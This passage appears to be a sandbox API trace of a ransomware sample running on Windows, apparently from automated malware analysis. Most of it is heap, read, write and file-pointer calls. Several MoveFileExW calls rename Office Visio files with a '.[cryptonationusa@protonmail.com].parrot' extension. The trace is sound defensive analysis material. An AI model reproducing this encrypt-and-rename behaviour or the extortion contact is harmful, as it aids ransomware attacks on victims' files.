(HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x2298068 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0213.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0213.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0213.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0213.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0213.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0213.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0213.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0213.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c73f8 [0213.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c4460 | out: hHeap=0x5b0000) returned 1 [0213.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31e64b8 [0213.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c73f8 | out: hHeap=0x5b0000) returned 1 [0213.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31ecf98 [0213.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31f6fc8 [0213.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ecf98 | out: hHeap=0x5b0000) returned 1 [0213.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3206000 [0213.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f6fc8 | out: hHeap=0x5b0000) returned 1 [0213.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3350048 [0213.083] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3206000 | out: hHeap=0x5b0000) returned 1 [0213.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x31e64b8 [0213.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x3350048 [0213.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x328d008 [0213.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.dwg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.DWG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.dwg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0213.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0213.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0213.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0213.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0213.104] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.104] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.106] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.106] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd9ad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd9ad, lpOverlapped=0x0) returned 1 [0213.106] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0213.106] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0213.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0213.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0213.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178470 [0213.107] GetLastError () returned 0x0 [0213.113] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0213.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0213.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0213.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0213.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x2298068 [0213.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0213.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0213.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0213.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0213.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0213.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0213.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0213.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0213.116] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.119] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.119] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.119] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ee4f8 | out: hHeap=0x5b0000) returned 1 [0213.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0213.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0213.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0213.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0213.122] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.122] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.169] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.169] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3e00, lpOverlapped=0x0) returned 1 [0213.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0213.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0213.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0213.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0213.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178470 [0213.171] GetLastError () returned 0x0 [0213.171] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0213.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0213.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x2298068 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0213.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0213.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0213.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0213.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0213.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0213.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0213.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0213.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0213.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0213.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31e64b8 [0213.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0213.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31e9450 [0213.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.173] WriteFile (in: hFile=0x288, lpBuffer=0x31e9460*, nNumberOfBytesToWrite=0x3f28, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x31e9460*, lpNumberOfBytesWritten=0x18ebe4*=0x3f28, lpOverlapped=0x0) returned 1 [0213.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e9450 | out: hHeap=0x5b0000) returned 1 [0213.177] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0213.177] CloseHandle (hObject=0x288) returned 1 [0213.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0213.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x319c088 [0213.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0213.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_M.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_m.vsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_M.VSD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_m.vsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c64a0 | out: hHeap=0x5b0000) returned 1 [0213.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0213.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0213.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0213.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0213.182] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.182] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.184] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.184] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3e00, lpOverlapped=0x0) returned 1 [0213.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0213.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0213.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0213.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0213.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178470 [0213.185] GetLastError () returned 0x0 [0213.185] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0213.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0213.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 